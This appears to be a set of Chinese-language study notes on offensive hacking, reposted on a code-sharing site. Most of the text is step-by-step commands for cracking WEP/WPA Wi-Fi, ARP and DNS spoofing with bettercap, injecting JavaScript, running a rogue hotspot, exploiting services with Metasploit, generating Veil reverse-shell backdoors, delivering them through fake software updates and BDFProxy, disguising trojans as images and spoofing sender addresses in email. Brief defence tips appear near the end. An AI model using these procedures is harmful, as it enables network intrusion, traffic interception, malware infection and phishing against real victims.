黑客入門筆記(持續更新中)


網絡入侵

1.1 前期准備

購買了Atheros 7291的無線網卡,插入到kali Linux上,執行以下命令啟動網卡的啟動監聽模式:

ifconfig wlan0 down
airmon-ng check kill
iwconfig wlan0 monitor #啟動監聽模式
ifconfig wlan0 up

1.2 破解網絡

1.2.1 破解WEP秘鑰

  • 破解原理
    WEP網絡發送的每一個包都經過加密形成Key Stream
    Key Stream由24bit的ramdom initializaiton vector(IV)+password生成。

  • 攻擊方式
    捕獲網絡上的包,如果沒有包,就進行arp replay,迫使目標路由器和我們握手,從而捕獲生成的握手包

      # Fake Athentication Attack 0 一次
      aireplay-ng --fakeauth 0 目標MAC -h 網卡MAC wlan0 
      # arp reqyest replay
      aireplay-ng --arpreplau 0 -b 目標mac -h 網卡mac wlan0
      # 從捕獲到的包中獲取key
      aircrack-ng arpreplay-01.cap
    

1.2.2 破解WPA/WPA2秘鑰

  • 破解原理
  1. 基於WPS特性
    WPS允許客戶端在沒有密碼的情況下連接到網絡認證只使用了8位的pin碼,所以暴力破解pin碼
  2. 字典破解
    如果網絡的WPS特性關閉,只能使用字典攻擊了。並且默認來說WPS都是關閉的,字典破解是更常用的方式。
  • 具體操作

1.3 攻擊方式拾遺

  • Deauthentication Attack
  • APR request Replay Attack

信息搜集和中間人攻擊

2.1 Zenmap&Nmap

使用zenmap的quick scan plus,可以獲取網絡中的設備,運行的操作系統,開放的端口,端口運行的軟件。從而可以搜索對應軟件存在的漏洞進行攻擊。
例子:Iphone越獄后會開啟22端口,可以遠程ssh登錄。root的默認密碼是alpine,值得一試。

2.2 ARP spoof(ARP poision)

ARP欺騙,中間人攻擊
因為ARP沒有安全檢驗機制
使用arpspoof讓目標機器以為攻擊者的機器是路由器,讓路由器以為攻擊者的機器是目標機器。
先開啟流量轉發:

	echo 1 >> /proc/sys/net/ipv4/ip_forward
	命令:arpspoof -i 網卡名 -t 目標機器IP 讓目標機器認為我們是誰的IP
	arp -a查看本地的arp表

2.3 bettercap 中間人攻擊

也可用於arp欺騙,功能比arpspoof強大
命令:

bettercap -itface wlan0
 進入之后的命令:
help幫助,能查看運行的模塊
net.probe給同一網段的設備發UDP請求
,搜集設備信息,會自動開啟net.recon
查看搜集的結果:net.show
開啟arp欺騙:
- set arp.spoof.fulduplex  true #讓目標機器和路由器都認為我是中間人
- set arp.spoof.targets 1.0.2.15 #目標機器
- arp.spoof on
-ney.sniff on開啟監聽,可以捕獲所有的請求(吊爆了)

可以把以上命令都寫入腳本

bettercap -itface wlan0 caplet xxxxx.cap

上述命令只能捕獲未加密的HTTP請求,想獲得HTTPS的信息,需要額外的步驟:

1. 下載htshjack解壓到/usr/share/bettercap/caplets
2. 腳本中,在開始sniff前增加
set net.sniff.local true
3.運行腳本即可開始捕獲(吊爆了)

2.4 部分解決hsts問題

hsts:一部分網頁

2.5 DNS欺騙

1.先執行上述腳本,開啟相關模塊
2. set dns.spoof.domain xxx 設置想要查訪問的人騙到xxx去,不設置的話默認是網卡地址
3.set dns.spoof.all true 是否把所有請求都騙過去
set dns.spoof.domains xxx,xxx逗號分割的域名,訪問xxx時會欺騙
4.dns.spoof.on
注入javascript腳本:
1.同上,執行腳本,啟動相關服務
2.把js代碼保存到foo.js
3.打開hstshijack模塊,修改hijack.cap
4.在set hstshijack.payloads 之后增加*:/path/to/foo.js
5.運行hijack模塊: hstshijack/hstshijack

2.6Wireshark

不是用來攻擊的工具,只能監聽本地網卡。但是通過arp欺騙。可以捕獲別人的流量,從而分析監聽別人的網絡
簡單使用:

  • 過濾http(綠色)
  • 查看http內容
  • 搜索http內容

2.7 把自己偽裝成熱點

偽裝成熱點后,對接入的victims自動成中間人
使用start-nat-simple.sh,再啟動bettercap(另外的啟動命令不實用,先忽略了),或者使用wireshark抓包
使用工具mana

  1. 編輯mana的配置文件/etc/mana-toolkit/hostapd-mana.conf,修改想要使用無線網卡名字,和ssid
  2. 編輯啟動文件/usr/share/mana-toolkit/run-mana/start-mana-simole.sh,修改phy為無線網卡,upstream為可以聯網的另一個網卡
  3. 運行

檢測攻擊

3.1 檢測arp欺騙:

1.使用XR工具
2.使用wireshark抓包
3.使用static arptable

3.2 防止中間人攻擊:

1.使用https everywhere插件
2.使用vnp,vpn會加密。但是vpn提供商會獲取你的全部通訊,所以要選擇可信的供應商。

獲取權限

  • server side attack
    只需要ip就可以進行攻擊,使用端口掃描等
  • client side attack
    需要和服務器通信,上傳,社會工程,引誘安裝木馬等

4.1 初體驗

使用zenmap掃描端口,然后去谷歌搜索端口的漏洞,默認密碼等,加以利用,本例使用了rlogin

4.2 metasploit

由rapid7開發的滲透軟件

msfcosole運行metasploit
use /path/to/exploit 使用漏洞模塊(可以在rapid7網站上搜索)
show options顯示選項,其中name對應的vakue可以通過options進行設置
set xx xx設置選項
exploit 執行漏洞
# 本例使用了vstftp的后門(backdoor),對21端口進行連接。能夠連接ftp后執行代碼

4.2 遠程執行漏洞

本例對運行在139端口的samba進行攻擊

use xxxx
show options
set rhost 10.200.1.5
show payloads(payloads意思是可執行的代碼片段)
  • payloads有兩類,一類是命名為bind_xxx的,是在目標機器上開啟端口並與其通訊。reverse_xx的是在自己機器上開啟端口,讓遠程機器與自己通訊。優點是不會被目標機器的防火牆攔截。
    可以把自己的端口設置成80讓遠程機器再訪問瀏覽器呢

4.3 nexpose

同樣為rapid7開發的滲透工具,可以檢測更大范圍的漏洞,並且匯報給對應的人員

安裝
1下載
2service stop postgresql
3賦予執行權限
4執行安裝
  • 安裝過程中,如果遇到不支持kali1,需要kali2的問題,需要升級lunix的/etc/lsb-release和/etc/os-release,先備份,修改自己的版本為kali2,安裝完成后再恢復備份

  • 安裝后可以用來掃描所有漏洞,自動在rapid7上發現攻擊方法,生成報告

4.4 Client side attack

apt-get install veil

4.5 veil用於給系統留后門

運行之后可以看到evasion模塊
evasion模塊命名一般為
語言名/payload名/rev

例子:
go/meterpreter/rev_http

  • 帶rev的意思是受害者連接本地

例子:使用veil留后門

運行后執行:

list  #列出所有可用的工具
use 1 #使用1 ecasion
use 15 #使用15 go的http——rev
ifconfig #查看kali的的ip
set LHOST ${kali_ip}   
set LPORT ${kali_port}
set PROCESSORS 1 #使用的最小cpu數
set SLEEP 6 #睡眠6秒

# 然后生成backdoor:
generate
# 命名之后可以獲得exe文件

4.6 使用metaexplit監聽來自veil的連接

go/meteptrter/rev_htps,port 8080
msfconsole
use exploit/multi/handler #監聽incoming connections
show options
set LHOST
set LPORT
set payload windows/meterpreter/reverse_https  # <-payload和veil中使用的保持一致
  • /var/wwww/html中儲存kali作為服務器時可以下載的內容

4.7 誘導victim安裝后門:

#啟動
cd opt/evilgrade
./evilgrade

show modules
#可以看到很多軟件的虛假升級組件

configure [module_name] #(設置module_name的配置)
show options #其中的virtualHost是該模塊的域名,使用dns欺騙的時候要替換成改屬性,本例是update.speedit.com
set agent /var/www/html/backdoor.exe #設置后門的路徑
set endsite 222.speedbit.com #設置升級之后返回的頁面
start

#開始等待連接了


#然后需要成為中間人

bettercap -iface eth0 -caplet /path/to/script
set dns.spoof.all true
set dsn.spoof.domain update.speedit.com
set dns.spoof on

受害人如果更新該軟件就會上鈎

4.7plus 另一種讓受害人上鈎的方法

/opt/BDFProxy

# 更改cfg:
proxyMode:transparent
# 更改配置文件中的HOST為本機IP(本例想對windows系統進行攻擊,所以選擇[[ windowsIntelx86]] [[windowsx64]]對應的配置)
# 執行bdf_proxy.py

# 成為中間人進行arp欺騙
bettercap -iface eth0 -caplet /path/to/script

#配置本地的防火牆轉發規則
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 #-t 表名 -A append -p package類型
#把訪問80的請求轉發到8080
msfconsole --resource /opt/BDFProxy/bdfproxy_msf_resource.rc
#如果下載內容則會連接到msfconsole

4.8 如何防范攻擊

  • 確定沒有中間人
  • 只從http下載
  • 檢查下載文件的MD5文件

基於社會工程學搜集密碼

5.1 使用工具:maltego

  • 拖拽人物,網站等建立transformation,自動挖掘個人信息

5.2 使用Autoit

把腳本偽裝成任意文件,腳本先下載圖片,再下載木馬,直接執行看起來就是打開了一個圖片。
使用rw-desinger(網頁)把圖片轉成icon,讓木馬看起來像是圖片

5.3 使用characters偽裝擴展名

使用right ro left extension
光標后面的內容會被反過來復制成一個字符
文件名以(ex結尾為妙,比如hex,sex)
有的瀏覽器會去掉反寫,所以最好把文件壓縮一下再發送

5.4 使用senditblue網站發送假郵件

1.先去senditblue注冊
2.在kali使用sendemail
3.sendemail --help
4.設置用戶名,密碼等
sendemail -u [在senditblue注冊的郵箱] -xp 密碼 -s smtp-relapu.senditblue.com:5787(服務器) -t "m.astarg@isecurity.com"(收件人) -f "zaid@isecurity.com"(發件人,在發件人處偽裝發件人) -u [郵件標題] -m [郵件內容] -o message-header "From: Mohanmmad Askar m.astarg@isecurity.com"(郵箱里顯示的姓名)

獲取權限-ex

6.1 beEf

基於js的鈎子,能讓上鈎的人在beEf控制台被控制

  • 常用方法
  1. 基於中間人:使用之前的方法,使用bettercap成為中間人並注入js代碼
  2. DNS欺騙,如以前的方法,返回假頁面
  3. 社會工程,誘導打開頁面
  • BeEF基本操作
    界面上都有,自己看吧,截屏,攝像頭什么的
    舉例:
  1. 發送假的session time out頁面進行社會工程學偷密碼
  2. 發送假的升級信息,連接指向之前制作的木馬軟件

6.2 如何防止木馬:

  1. 右鍵查看詳情檢查文件類型
  2. 查看電腦進程有沒有可疑的,了解到不明ip的,搜索ip使用reverse dns(網上的服務)
  3. 使用sandbox(沙箱環境),模擬運行,也可以使用網上的服務(比如hybrid-analysis.com)

綜合練習

7.1 綜述

  • 由於在內網的設備的IP不暴露到公網,需要在網絡的路由器上設置轉發,才能讓上鈎的受害者連接到本地

7.2 步驟


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM